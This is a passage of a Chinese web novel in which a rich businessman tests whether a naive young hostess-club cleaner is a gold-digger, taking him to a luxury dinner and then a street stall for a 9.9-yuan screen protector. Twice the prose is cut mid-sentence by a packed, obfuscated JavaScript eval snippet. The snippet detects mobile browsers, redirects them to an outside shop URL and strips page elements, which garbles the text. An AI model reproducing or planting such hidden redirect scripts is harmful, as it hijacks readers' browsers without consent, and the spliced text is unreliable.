迟萝禧心想谁又惹他不开心了,难道是他:贺先生我让你不开心了吗? 贺昂霄几乎能想象出那小捞男此刻可能正咬着嘴唇,眼神湿漉漉的,一副我错了你别生气的样子。 贺昂霄:嗯嗯。 发出去他就后悔了。这嗯嗯算什么?既不冷酷,反而有点像在闹别扭? 果然迟萝禧那边立刻有了反应。这次不是文字,是一条语音消息。 贺昂霄手指顿了顿,还是点开了。 迟萝禧的声音从听筒里传出来,软软的,像在撒娇。 ——“那我改还不行吗?贺先生,你说我哪里不好,我改,你别不来呀。” 贺昂霄听着,没说话。他只是把手机拿开了一些,盯着屏幕。过了几秒,他又点开那条语音,听了一遍。 然后又听了一遍。 小捞男的声音是挺好听的。特别是用这种软软的,带着点委屈和讨好的语气说话时,像羽毛轻轻搔过心尖,有点痒。 但也就仅此而已了。 贺昂霄猛地扣住手机,屏幕朝下,把它反扣在书桌上,仿佛这样就能把那个声音,连同声音里那些乱七八糟的情绪,都隔绝在外。 他是不会被诱惑的。 绝对不会。 这都是套路,是精心设计的陷阱,他什么没见过?怎么可能栽在这么一个手段拙劣,脑子看起来还不怎么好使的小捞男手里? 贺昂霄想自己是绝对不会受小捞男诱惑的。 迟萝禧真觉得贺昂霄是个好人。 虽然嘴巴有点毒,人看起来也挺骄傲,不好接近,但他给了自己钱。第一次给了两千,这次又给了三百。加起来他现在手机里有两千三百块了。 这可是他下山以来,第一次拥有这么多,完全属于自己的钱。 之前在会所,身上一分钱现金都没有,想吃个烤红薯都不敢,等着月底发那点微薄,还不够抵扣欠债零头的工资。 他看着账户里这笔巨款,心里对贺昂霄的感激,简直像山里的春泉,咕嘟咕嘟往外冒。 但迟萝禧觉得也不能太占便宜了。贺先生给了他三百,最后决定,迟萝禧退回去一百五。 迟萝禧:贺先生,杨经理没把我上系统,所以我才找你要的,其实只要一百五就行了,这个还给你。 贺昂霄正对着电脑处理一份文件,手机提示音响了,他瞥了一眼,看到是迟萝禧的退款。 没上系统?所以这小捞男之前陪他,完全是黑工,他拒收了退款:你不上系统,别人怎么点你? 迟萝禧:贺先生,我只陪你啊,平时我都在会所打扫卫生的,只有你最干净,我喜欢跟你在一起。 最干净,他想起迟萝禧之前说过类似的话。这小傻子评判人的标准还真是奇特。 紧接着下一条消息又跳了出来:你多多来嘛。 迟萝禧暗自窃喜想,让他偷偷多挣点钱。 可信息那头的贺昂霄用力按了按自己的额角,觉得头疼。 操! 他承认,这小捞男的段位,可能比他预想的还要高那么一点点,不是直白的贪婪,完全是裹着糖衣的炮弹,精准地一遍遍轰炸他的薄弱防线,最终目的肯定是好让贺昂霄心甘情愿地成为他的移动钱包。 这势头不对。 非常不对。 贺昂霄觉得自己不能再被这小傻子牵着鼻子走了,他得冷静,得重新掌握主动权。于是接下来两天,无论迟萝禧发来什么,他都一概不理,假装没看见。 然而有些事情不是他想躲就能躲开的。 贺昂霄的公司和杨洲的公司本来有一个项目在谈,上次才聊到合作,杨洲身为二代,进的一个地方国企,上面有他几个长辈保驾护航。 这次两边人终于会面,饭局上杨洲大概是喝多了两杯,想跟贺昂霄套近乎,提起了上次在春晖的聚会。 他带着点八卦的语气,对贺昂霄说:“贺总,你是不知道,上次咱们在春晖,可真是惊险。我后来才从一个相熟的小姐嘴里听说,那天陪你那个是个疯子。” 贺昂霄端着酒杯的手微微一顿,看向杨洲。 杨洲继续道:“听说之前有个姓王的,也是老熟人了,就那个王业,想摸他,结果你猜怎么着?那小子,看着瘦瘦弱弱的,竟然一把将他从沙发上甩了出去,王业肩膀都脱臼了!在医院躺了好几天!赔了好几万才了事,他不想闹大了让他老婆那边知道了才结了,本来就是个倒插门,不然以那家伙的德行,去做个伤情鉴定,估计得让人进去蹲个几年。” “会所那边都怕了那小疯子了,不敢让他陪客了,就让他干杂活。” “啧啧,幸好那天他没对你怎么样,贺总,你以后可得离那小子远点,长得是不错,可惜脑子不太好。” 贺昂霄静静地听着,脸上没什么表情,心里却掀起了波澜。 原来如此。 难怪迟萝禧被发配去干杂活。 可是贺昂霄想,迟萝禧宁愿闹大去警察局,赔钱,也不肯陪其他客人,却主动来陪自己,给自己唱歌,给自己喂水果,在自己睡着时给盖衣服,还说自己最干净,说喜欢跟他在一起。 宁愿得罪客人,被罚去打扫卫生,也不愿意对其他人假以辞色,却唯独对他特殊。 操! 真喜欢他啊? 贺昂霄发现,自己那冷处理的决心,似乎并没有想象中那么坚定。 于是两天后,贺昂霄又出现在了春晖会所。这一次,他也没提前打招呼。 结果刚走进大厅,还没走到预约的包厢区域,就听见旁边员工通道的拐角处,传来杨经理那浓浓不耐烦的骂声, “……迟萝禧!我说你脑子是不是真的被门夹了?这么点事都做不好,让你把果盘摆好看点,你摆的这是什么?还有这酒,标签要对齐,对齐!跟你说了多少遍了!你是猪吗?听不懂人话?就你这智商,这辈子也就只配刷盘子了!还想挣钱?做梦吧你!” 贺昂霄脚步顿了顿,侧过头,朝声音来源看去。 只见杨经理双手叉腰,涂着鲜红指甲油的手指几乎要戳到对面低着头的少年脸上。 迟萝禧穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388062|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着黑色工服,头垂得低低的,看不清表情,只有肩膀微微缩着,像一只被雨淋透了的小动物。 怎么那么可怜,像个受气包。 贺昂霄眉头皱了皱,清了清嗓子,走了过去,声音不高,但存在感很强:“咳咳。” 杨经理骂得正投入,闻声转过头,看到是贺昂霄,脸上的怒容瞬间像变魔术一样:“哎呀,贺先生!您来了!怎么不提前说一声,我好去门口接您!您是来找……” 贺昂霄没看她,目光落在还低着头,盯着自己脚尖的迟萝禧身上:“找迟萝禧。” 杨经理脸上的笑容僵了一下,随即又立刻绽放,连声道:“好好好,小迟,还愣着干什么!贺先生找你!还不快跟贺先生去。” 她一边说,一边瞪了迟萝禧一眼,眼神里是算你走运的警告。 迟萝禧这才慢慢抬起头,看向贺昂霄。 贺昂霄这才看清,他那双干净很亮的眼睛,此刻红红的,眼眶里有水汽,鼻尖也红红的,长长的睫毛被泪水打湿,黏在一起,脸上还有未干的泪痕。 他抿着嘴唇,忍耐着什么,迟萝禧委委屈屈的,像个小尾巴一样,默默跟在了贺昂霄身后,低着头,也不说话。 贺昂霄没理杨经理,走向自己常订的那个小包间,迟萝禧亦步亦趋地跟着。 进了包间,关上门,贺昂霄在沙发上坐下,看着还站在门口,低着头的迟萝禧,开口声音比平时缓和了些:“过来坐。” 迟萝禧慢吞吞地走过来, 贺昂霄看着他这副样子:“她为什么骂你?” 迟萝禧听到他问,忍了许久的眼泪,终于控制不住地落下来。他抬起手,用袖子胡乱地擦了擦脸,他记得爷爷说过,不能把自己的坏情绪带给别人,尤其是对你好的人。 于是迟萝禧深吸一口气,努力想挤出一个笑容,虽然那笑容比哭还难看,抽抽噎噎地问:“贺先生……你,你想吃什么啊?我给你拿……” 贺昂霄没接他的话茬,只是看着他,重复了一遍:“我问她为什么骂你。” 迟萝禧被他这么一问,刚刚勉强压下去的委屈,又涌了上来。他撇了撇嘴,眼泪掉得更凶了,声音也带了哭腔,断断续续的,像是终于找到了可以倾诉的人。 “杨经理说我脑袋笨,我,我是没读多少书……可是,明明是他们欺负我没文化,看不懂合同,骗我签的,我都那么努力工作了,打扫卫生,洗杯子,搬东西……我从来不敢偷懒,他们还骂我……我想爷爷了……我想回雾山……山里没有人骂我,也没有人骗我……” 他哭到伤心处,越说越难过,身体因为抽泣而微微发抖。 迟萝禧看着让他觉得安心又舒服的贺昂霄,几乎是下意识地就往他那边靠了靠,然后把脸埋进了贺昂霄的臂弯里,像个受了天大委屈,终于找到家长告状的小孩子,呜呜地哭了起来。 贺昂霄身体僵了一下。 迟萝禧长得白,皮肤是那种玉石般的莹白,此刻因为哭泣,脸颊和眼周都泛着可怜的红,鼻尖也红红的,整个人缩成一团,靠在他身上,像一团……亚麻色的,毛茸茸瑟瑟发抖的小动物。 贺昂霄觉得有点像他奶奶以前养的那只小泰迪,小小的一只,受了委屈就喜欢往人怀里钻,寻求安慰。 贺昂霄垂眸,看着臂弯里那颗毛茸茸的脑袋,感受着透过薄薄衬衫传来属于另一个人温热的体温。 他的手臂动了动,手指蜷缩了一下,一个念头冒了出来:他好像伸手就能把这个人整个捞起来,抱在怀里。 迟萝禧还在哭诉,声音闷闷的:“……贺先生……你都不知道我有多倒霉,我就是这个世界上最惨的人……呜呜呜……他们都说我傻……可是我明明很努力了……” 贺昂霄听着他这番孩子气的论调,心里生起微妙的柔软和异样感,可是嘴上还是带着恶劣的纠正欲,他的手伸到一半,停在半空,没落下去。 “你去医院走一趟,就能看见比你更惨的。” 迟萝禧的哭声顿了一下,他抬起泪眼朦胧的脸,茫然地眨了眨眼,长长的睫毛上还挂着泪珠,他看着贺昂霄,似乎真的在认真思考这句话。 几秒钟后,迟萝禧吸了吸鼻子,用手背用力抹了把脸,声音还带着哭腔,但语气奇异地平静了些,认同道:“也是哦,我现在有手有脚,还能工作,虽然钱不多,但至少还能挣钱,有些人生病可惨了,贺先生,谢谢你安慰我。” 迟萝禧说着,自己坐直了身体,拉开了和贺昂霄之间的距离。虽然眼睛还红着,脸上泪痕未干,但表情已经不像刚才那么崩溃了。 这么就好了? 贺昂霄怀里那团温热水绵绵的云,飘走了。 手臂上被依靠过的触感也迅速消冷。 贺昂霄看着自己空了的臂弯,又看了看旁边已经努力挺直脊背,恢复坚强的迟萝禧,心里忽然升起一股可惜。 就好像刚刚有一小团毛茸茸会发热还挺舒服的暖水袋,自己主动靠了过来,他还没来得及好好感受一下,暖水袋就又自己挪开了。 这种感觉,很陌生,让贺昂霄觉得有点不爽。 8. 他就帮帮他吧 迟萝禧的情绪来得快,去得也快。 刚才还哭得稀里哗啦,这会儿眼泪一擦,鼻尖还红着,他凑近贺昂霄,仰着脸:“贺先生,你今天是来听我唱歌的吗?” 贺昂霄看着他这副瞬间阴转晴,仿佛刚才什么都没发生过的样子,心里那点不爽,和对迟萝禧哭诉身世时涌起的复杂情绪,交织在一起。 成了一种别扭感。 他很不想承认,自己今天鬼使神差地又来这破会所,确实是有点想见见这个小捞男。 昨天他实在憋得难受,破天荒地给他那个正在追爱追得昏天暗地,从城市进入不知名乡村的好兄弟江冉打了个电话。 电话接通,背景音是鸡鸣狗叫。 贺昂霄难得语气烦躁,对着电话那头说:“我好像中了大招了,被个小玩意儿套路得不轻,你帮我分析分析,我是不是脑子不清醒了?” 他本来指望江冉这个过来人给他泼点冷水,嘲笑他两句,让他别上头。 结果江冉那边信号似乎不太好,声音断断续续:“喂?喂喂?套路你?谁那么想不开敢套路你……哦哦哦,会所的少爷啊?哎,现在各行各业挣钱都不容易,这么不挑对象的吗……” 贺昂霄:“…………” 他面无表情地挂断了电话。 得,指望不上。 这兄弟明明比他还完蛋。 这事太邪门了。 贺昂霄觉得自己可能真被下了什么降头,或者被迟萝禧身不按常理出牌的傻气给污染了。 人家设了个圈,诱饵是天真烂漫,钩子是悲惨身世,再用只喜欢你做伪装,他就这么一次次往里跑。 刚才看迟萝禧哭得那么可怜,贺昂霄差点没控制住自己拿钱包的手,那种想做点什么,让他别哭了的冲动,陌生又强烈,让他自己都觉得有点害怕。 不像他自己。 他从来没有过这种感受。 对一个人,产生这种莫名其妙不受控制的关注,心软,甚至想靠近。 这感觉太难受了,心像被什么东西无形地捆住了,挣脱不开。 贺昂霄想,他得想办法摆脱掉。 必须摆脱。 按照他最近研究的那些捞男/捞女套路解析,如果对方开始向你哭诉原生家庭悲惨,身世可怜,那通常意味着收割的时候快到了。 接下来就该是卖惨要钱,展示脆弱博取同情进而索取资源的环节了。 贺昂霄想,或许他应该主动把这个环节推进下去,让迟萝禧把贪婪的真面目暴露出来,让他亲眼看看,人性在巨大的物质诱惑面前,会露出怎样丑陋的嘴脸。 只要他看到了,看透了,那份因为特别而产生的好奇和悸动,大概就会很快冷却,消失殆尽。 贺昂霄不知道自己这是犯了什么病,非要亲手去撕开一个或许并不存在的假面。 但他觉得这是最快最有效的脱身方法。 贺昂霄猛地站起身,拿起搭在沙发扶手上的西装外套:“走。” 迟萝禧茫然:“……啊?去哪里?” 贺昂霄已经走到门口,回过头,薄唇吐出两个字:“扶贫。” 迟萝禧没太听懂,但贺先生说要带他走,他自然是乐意的,不用待在会所,不用看杨经理的脸色,还能跟贺先生在一起,多好啊。 他立刻站起身,小跑着跟了上去。 贺昂霄带着迟萝禧从包间出来,穿过走廊,走向大厅。杨经理远远看见,没上前阻拦。贺昂霄愿意带迟萝禧出去,她可没胆子过问。 她只是看着两人一前一后离开的背影,贺昂霄身高腿长,步伐沉稳,迟萝禧像个小跟班,亦步亦趋地跟着。 杨经理点了支烟,深吸一口,缓缓吐出烟雾,眯着眼睛,对旁边的领班低声说:“贺昂霄这几个意思啊?对迟萝禧,是感兴趣还是不感兴趣?要说不感兴趣,这都第二次专门来找了,还带出去。要说感兴趣可看着又不像那回事。” 领班也摸不透,摇摇头:“我觉得玄,就迟萝禧那个脑回路,有几个人能跟他真正对得上?贺总那样的人精,说不定就是觉得新鲜,逗着玩呢,玩腻了,也就扔了。” 杨经理没说话,只是又吸了口烟。 她对迟萝禧的感情,真是相当复杂,一方面,恨不得他能赶紧卖个好价钱,把她之前被扣的奖金和会所损失的钱赚回来。 另一方面,这么久了,看迟萝禧那副油盐不进,傻不愣登的脑子,实在玄得很,根本不是她能掌控和理解的。 真像领班说的贺昂霄就是图个新鲜? 贺昂霄带着迟萝禧上了自己的车,车子平稳地滑出会所所在的街区,汇入车流。 他没有解释要去哪里,迟萝禧也乖乖地坐在副驾驶,好奇地看着窗外飞速后退的街景,没有多问。 贺昂霄:“你不问我带你去哪?” 迟萝禧:“贺先生带我去哪?” 贺昂霄觉得好笑:“把你卖了。” 迟萝禧:“贺先生不会的,贺先生是好人。” 这么信任他,贺昂霄都不知道自己还是个好人。 车子最终停在市中心最繁华,消费能力也最高的顶级购物中心楼下。 巨大的玻璃幕墙在夕阳下反射着耀眼的金光,进出的人们衣着光鲜。迟萝禧下车,仰头看着这栋高耸入云的庞然大物,嘴巴不自觉地微微张开,维持着一个“O”型。 他一个山里长大的孩子,只在电视和手机里见过这样的高楼大厦,金碧辉煌,气势恢宏,像另一个世界。 贺昂霄说了句跟上,便率先走向自动旋转门。 迟萝禧连忙小跑着跟上,眼睛却不够用了,到处看。 光可鉴人的大理石地板,挑高几十米的透明天花板,空气中弥漫着好闻昂贵的香氛气味,两侧琳琅满目,他叫不出名字的品牌店铺,橱窗里的模特穿着他这辈子都没见过的漂亮衣服。 贺昂霄带着他,径直上了电梯,按了顶层。 电梯门打开,是一家需要提前很久预约,以绝佳视野和顶级食材闻名的旋转餐厅。 侍者显然是认识贺昂霄,恭敬地将他引到靠窗视野最好的位置。 巨大的落地窗外,是整个城市华灯初上的璀璨夜景,车流如织,霓虹闪烁,像一条流动绚烂的星河。 迟萝禧局促地坐在柔软的皮质座椅上,手脚都不知道该往哪儿放。他看着面前洁白的餐布,锃亮的银质餐具,还有旁边穿着笔挺制服,面带标准微笑的侍者,心里有点慌。 贺昂霄没看菜单,只是对侍者报了几个菜名,语速很快,都是迟萝禧听都没听过的名字。 菜很快上来。 精致的摆盘,小巧的份量,但一看就价值不菲。有煎得恰到好处,还带着血丝的顶级牛排,有闪着黑珍珠般光泽的鱼子酱,有比他脸还大通体鲜红的澳洲龙虾,还有金黄饱满,香气扑鼻的大闸蟹。 贺昂霄没怎么动,只是端起酒杯,慢悠悠地喝着红酒,目光落在迟萝禧身上,让他吃。 迟萝禧起初还有点放不开,小口小口地拿着叉子吃。 但食物的美味很快征服了他朴素的味蕾。 牛排鲜嫩多汁,鱼子酱咸鲜爆浆,龙虾肉Q弹紧实,大闸蟹膏满黄肥…… 他一边吃,一边忍不住小声赞叹:“好好吃,这个也好吃,贺先生,这个螃蟹好香啊……” 他腮帮子塞得鼓鼓的,眼睛因为美味而眯起来,嘴角沾着一点点酱汁也顾不上擦,食量惊人,一份很快吃完,贺昂霄示意侍者又加了一份。 龙虾,螃蟹,也都被他消灭得干干净净,唯独没吃牛排。 贺昂霄问他干嘛不吃牛排。 迟萝禧小声说:“……贺先生,没熟啊。” 他爷爷说过,肉一定要熟透才能吃。 贺昂霄:“…………”于是他让人烤全熟。 贺昂霄看着迟萝禧那不算大,却像个无底洞一样的肚子,心里暗暗吃惊。 这小捞男是什么巨胃? 这一餐下来,不算酒水,光是菜品,就已经接近五位数了。 吃完最后一口蟹肉,迟萝禧满足地打了个小小的饱嗝,然后不好意思地捂住嘴,脸微微红了。他看向贺昂霄,眼睛亮晶晶,充满了感激:“贺先生,谢谢你!这是我到江州吃过最好吃的一顿饭了!” 贺昂霄放下酒杯,用餐巾擦了擦嘴角,重头戏来了,他看着迟萝禧:“吃饱了?还想干什么?今天你想做什么,想去哪里,我都陪你,想买什么,也都可以。” 他已经做好了大出血的准备。 手表?包包?奢侈品衣服?甚至车?房子? 只要迟萝禧开口,露出贪婪的目光,提出过分的要求,他就能清醒得更快,看清这个小可怜的真面目,然后毫不犹豫地抽身离开。 他要亲眼看到人性最丑陋的模样,来浇灭心里那点不合时宜让他烦躁的上头感。 毕竟人性是经不起考验的。 迟萝禧听了他的话,眨了眨眼,似乎很认真地思考起来,他歪着头,想了好一会儿,然后眼睛忽然一亮,像是想起了什么很重要的事情。 他掏出了那个套着廉价卡通手机壳的手机,双手捧着:“贺先生,我一直想给手机贴块膜,可以吗?” 贺昂霄:“…………” 迟萝禧:“我工作实在太忙了,而且工具经常磕磕碰碰的,我看网上说贴个膜保护会好一些。” 贺昂霄脸上的表情,有那么一瞬间的空白。 贺昂霄觉得自己此刻就像童话里那些拿着毒苹果,诱惑纯洁公主堕落的恶毒老巫婆,内心有种自我厌恶的荒谬感和计划落空后的恼羞成怒。 贺昂霄手指下意识地指向窗外楼下那些灯火通明,logo巨大的奢侈品店铺方向:“你刚才上来的时候,没看见楼下那些店吗?包包,衣服,鞋子,手表,都是很好看,很贵的牌子,很多人喜欢,你那些同事,他们没跟你说过吗?没教过你,遇到我这样的客人,应该要什么吗?” 他的潜台词快赤/裸/裸的:你看我很有钱,我准备给你花钱,你为什么不按照剧本来?为什么不趁机狮子大开口? 迟萝禧顺着他手指的方向,也看了一眼楼下那些闪烁着诱人光芒的店铺:“看到了啊,很漂亮,白曼他们是有很多那样的东西,闪闪发光的。” 他挠了挠头:“可是我用不上哎,我有工服就好了,买了也没机会穿。” 迟萝禧看着贺昂霄,眼睛清亮亮的:“贺先生你今天请我吃饭,我已经好开心,好开心了,这是我吃过最好吃的东西了,我不用别的东西了。” 贺昂霄有点恨铁不成钢:“迟萝禧,你告诉我,你从那个什么……雾山,大老远跑到城里来,到底干什么的?” 迟萝禧老老实实:“挣钱啊。” “那你挣到了吗?”贺昂霄没对谁这么有耐心过,循循善诱追问,“你看看你现在,干着最脏最累的活,拿着可能连温饱都勉强,还要倒欠一屁股债的工资,被经理指着鼻子骂,就这样你就满足了?这就是你想要的挣钱?” 迟萝禧觉得贺先生现在的样子好像杨经理,看他跟看一条咸鱼,语气像以前学校里的老师,拿着他永远在及格线上挣扎的试卷,看着他问:迟萝禧,你就这个成绩,以后打算怎么办? 迟萝禧被问得有些无措,也有些委屈,语气窘迫:“……我学不好嘛,那些人让我不舒服,我本来也用不了那么多钱,有饭吃,有地方住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388063|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就够了。” 他确实是胸无大志。 在山里的时候,他的梦想就是陪着爷爷,照顾好那几亩地和院子里的菜,晴天晒太阳,雨天听雨声,偶尔去后山转转,看看有没有新长出来的野蘑菇。 如果不是爷爷去世,他可能一辈子都不会离开那座山。 贺昂霄看着他这副认命的样子,心里无名火更盛:“那你以后呢?还继续在春晖会所待着?就在那里打扫卫生,刷盘子,等着哪天开窍了,去陪那些让你觉得恶心的客人?” 迟萝禧被他问得哑口无言,头垂得更低了,他没想过那么远。 他只知道,他现在欠了会所很多钱,得还。 杨经理说,只要他听话,很快就能还清。 至于以后的事,以后再说吧。 萝卜本来就是一个坑一个窝,挪窝了会死得很快的。 迟萝禧:“……春晖挺好的,白曼他们都很照顾我,杨经理她就是话多点,我左耳朵进右耳朵出就行了,我现在不会,慢慢就会了。” 贺昂霄觉得迟萝禧简直是他见过的最没出息,最不思进取的小捞子。 别人进了那种地方,要么是迫不得已,咬着牙想着怎么尽快脱身,要么是野心勃勃,想尽办法往上爬,捞够了就跑。 他倒好不仅没想着逃离,反而有了在那里长期发展的打算? 自甘堕落,莫过于此。 可转念一想,贺昂霄又觉得,似乎也没什么不对。 迟萝禧,一没文化,二没文凭,三没一技之长,除了那张过分漂亮的脸,和那副格格不入的纯真气质,他还有什么? 离开了会所他能找到什么像样的工作?去哪里都像一株被移植到错误土壤里娇贵的菟丝花,离开了攀附的宿主,暴露在真正残酷的社会风雨里,恐怕很快就会被摧折,凋零。 或许他这样漂亮,天真,又没什么生存能力的人,天生就是该被圈养起来的。 被男人看中用金钱和物质包养起来,像个精致易碎的摆设,或者一只听话的宠物,活在象牙塔里,天真不谙世事地活着,不用为生计发愁,也不用面对外面世界的复杂和险恶。 说实话以迟萝禧的条件,可能真是天生就该吃那碗饭的。 只是他目前不开窍,是还没遇到那个能让他开窍,也愿意养着他的人。 而他贺昂霄,阴差阳错地似乎很符合了这个条件。 这个念头让贺昂霄感到一阵隐秘的舒畅。 迟萝禧会不会是不好意思对他开口。 于是乎,原本打算带着迟萝禧去奢侈品店大开眼界的贺昂霄只能离开了餐厅。 贺昂霄对这片区域很熟,但他从来没关注过哪里可以贴手机膜,他只好带着迟萝禧,在附近转了转,穿过了几条相对热闹,但也杂乱些的街道,最后,在一个不起眼连接着背后老居民区的狭窄巷子口,看到了一个支着简易小桌,挂着专业贴膜招牌的小摊。 摊主是个看起来四十多岁,有些秃顶,穿着旧夹克的中年男人,正低头玩着手机。 小桌上摆着各种型号的手机膜,从最普通的高清膜到带图案的花膜,价格用马克笔歪歪扭扭地写在硬纸板上:高清9.9,防蓝光15,防窥25…… 下面还有一行小字:买一送一。 这个城市就是这样割裂得残酷。 一边是穷奢极欲,普通人望而却步的富人区,高楼林立,灯火璀璨,空气里都弥漫着金钱和欲望的味道。 一边是像这样藏在高楼阴影背后,充斥着市井烟火气和廉价生活气息的老街巷。 金钱像一道无形却又无比坚固的壁垒,将世界划分成两个截然不同的部分。 但奇妙的是,无论贫穷还是富有,无论光鲜还是落魄,似乎什么样子的人,都能在这个巨大冰冷的城市机器里,找到自己的一隅之地,以一种挣扎麻木的方式活下去。 迟萝禧眼睛一亮,小跑过去,蹲在小摊前,认真地看那些手机膜,问摊主:“老板,九块九的膜有吗?” 摊主抬起头:“有,要贴?” “嗯!贴,”迟萝禧高看向贺昂霄:“贺先生,你要贴吗?买一送一,我请你!” 贺昂霄看着迟萝禧蹲在巷子里,仰着脸,在昏黄的路灯下笑得像只找到骨头的小狗的模样。 贺昂霄从口袋里掏出自己那部最新款,机身纤薄,价格抵得上普通人几个月工资的手机,递了过去:“……贴吧。” 摊主接过手机,看了一眼。 贺昂霄的手机屏幕上,其实已经贴着一张膜了,带疏油层和防蓝光功能的进口膜,摊主犹豫了一下,指了指原来的膜:“您这有膜了,还挺好的,确定要换?” 贺昂霄:“拆下来,贴这个。” 摊主又看了他一眼,那眼神更奇怪了,像是在看一个有钱没处花的神经病,但他没再多说,拿出工具开始操作。 贴膜的时候,两人就坐在摊主提供塑料的小马扎上等着。 巷子不宽,对面就是一条热闹的美食街,各种小吃摊的香气混合着油烟味,随着夜风一阵阵飘过来。 烤鱿鱼的滋滋声,炸串下锅的刺啦声,老板们的吆喝声,食客们的谈笑声,交织成一片充满生命力嘈杂而温暖的背景音。 迟萝禧捧着下巴,目光盯着一个芝士流心棒的摊子上,那眼神里对食物的虔诚,超过了刚才在餐厅吃牛排龙虾时的火热:“贺先生,你说那个好不好吃啊?” 贺昂霄坐在旁边,穿着一身高定西装,坐在老城区的巷子口,屁股底下是廉价的塑料小马扎,他心想迟萝禧这个没什么见识的小捞子,按照他这种进度捞,他该不会要被他套一辈子。 既然如此,他就帮帮他吧。 9. 好,我去钓他! 迟萝禧终于如愿以偿吃到了他望眼欲穿的芝士流心棒。 金黄色的酥脆外皮,咬下去是滚烫能拉出丝的的芝士内馅。 贺昂霄站在他旁边,双手插在西裤口袋里,显然对这种路边摊高油高糖的油炸食品没什么兴趣。 他看着迟萝禧那副人间至味的享受模样,心想这小傻子真好养活。 迟萝禧吃完,豪气地从口袋里掏出十块零钱,付给了手机贴膜摊的老板。 店主收了钱,把贴好膜,擦得干干净净的两部手机分别递还给他们。 两人离开没多久,一个提着保温饭盒的中年妇女走了过来,是店主的妻子来送晚饭了。 店主一边接过饭盒,一边用下巴指了指贺昂霄和迟萝禧离开的背影,分享八卦的语气,对妻子开口。 “看见没?刚才那俩,就那个穿西装的,一看就贼有钱,手机原来贴的膜,我看了一眼,少说几百块,进口的,结果你猜怎么着?非要拆了,跟他旁边那个小男生一起,贴我这儿9.9的,你说是不是脑子有病?恋爱真是使人降智,有钱人谈恋爱的脑回路,咱是看不懂。” 他妻子把饭盒打开,热气腾腾的饭菜香味飘了出来。 她瞪了丈夫一眼,语气带着点嗔怪和怀念的:“你懂什么?人能年轻几回?你年轻那会儿追我的时候,不也大冬天在我家楼下扯着破锣嗓子唱什么月亮代表我的心?冻得鼻涕都下来了,不也傻乐呵?还好意思说别人!” 店主被揭了老底,老脸一红,连忙摆手:“不讲不讲,陈芝麻烂谷子的事,吃饭吃饭!” 迟萝禧他们自然没听到这对夫妻的对话。 他一边咬着芝士棒,一边用没拿食物的那只手,捧着贴了新膜的手机,爱不释手。 贺昂霄走在他旁边,目光扫过他手里的手机,屏幕亮着,壁纸赫然是那张色彩鲜艳到刺眼,七个葫芦娃叠罗汉的全家福。 贺昂霄:“…………” 他不可思议:“……你是真喜欢这七个兄弟啊。” 他之前还以为迟萝禧那个葫芦娃合体头像是故意抽象。 迟萝禧:“对啊,他们可厉害了,打妖怪救爷爷。” 贺昂霄移开目光,不再看那个精神污染级别的壁纸。 两人慢悠悠地往回走,路过一个卖各种小饰品,手机挂件,玩具的夜市摊时,迟萝禧的脚步忽然停住了,目光黏在了摊子角落的一个小挂件上。 那是一个用软陶手工捏成,胖乎乎憨态可掬的白萝卜挂件。 萝卜身子圆润洁白,顶端是几片翠绿舒展的萝卜缨子,还用细笔点上了两个小黑点当眼睛,一个向上的弧线当嘴巴,笑得傻乎乎的。 贺昂霄顺着他视线看过去,也看到了那个萝卜,他挑眉问:“喜欢?” 迟萝禧点点头。 贺昂霄问摊主:“这个多少钱?” 摊主是个大妈,正在嗑瓜子,看了一眼,随口道:“二十。” 贺昂霄拿出手机扫码付款,付完钱,他从摊主手里接过那个小小的萝卜挂件,递到迟萝禧面前。 迟萝禧双手捧着:“谢谢你,贺先生。” 贺昂霄:“没事,你喜欢萝卜?” 迟萝禧:“你不觉得萝卜是世上最好的蔬菜吗?” 贺昂霄:“不觉得,我不喜欢吃萝卜。” 迟萝禧:“不吃就不吃吧,不影响它是世上最好的蔬菜。” 迟萝禧终于把萝卜挂件成功地挂在了手机上。他晃了晃手机,胖乎乎的白萝卜随着他的动作轻轻摇摆,绿缨子颤动着。 贺昂霄最后还是开车把他送回了员工宿舍楼下,车子停下,迟萝禧解开安全带,高高兴兴地跟贺昂霄道别:“贺先生,我到了!谢谢你今天请我吃饭,还送我回来!晚安!” 贺昂霄坐在驾驶座,很淡地“嗯”了一声,算是回应。 迟萝禧哼着小曲,上了楼,他用钥匙打开房门,里面是两个单间,他和白曼一人一间。 令他意外的是今天白曼居然在。 平日里白曼回来得极晚,通常都是凌晨两三点,那时候迟萝禧早就睡着了。 此刻白曼正靠在小小的客厅沙发上,身上穿着一件宽松的白色真丝睡袍。他瘦,睡袍穿在身上空荡荡的,衬得他脸色在昏暗的灯光下更显苍白,加上他刚刚洗过澡,头发湿漉漉,整个人像一缕飘忽的幽魂。 听到开门声,白曼抬起眼,他手里夹着一根细长的女士香烟,烟雾袅袅升起,模糊了他精致的眉眼,他开口:“贺少送你回来的?” 迟萝禧被他吓了一跳,点了点头:“嗯。” 白曼回来得晚,起得也晚,公寓里公共区域的卫生,基本都是迟萝禧顺手打扫的。白曼偶尔休假,也大多是在补觉。 白曼吸了一口烟,缓缓吐出,然后拿起烟盒,朝迟萝禧示意了一下:“抽吗?” 迟萝禧摇头:“谢谢,我不抽,我不喜欢烟味。” 他不喜欢烟味,以前在山里,爷爷还在的时候,会抽一种自己种的水烟,那烟味和城市里这种经过加工的香烟不同,带着更浓的草木辛辣和苦涩味道。 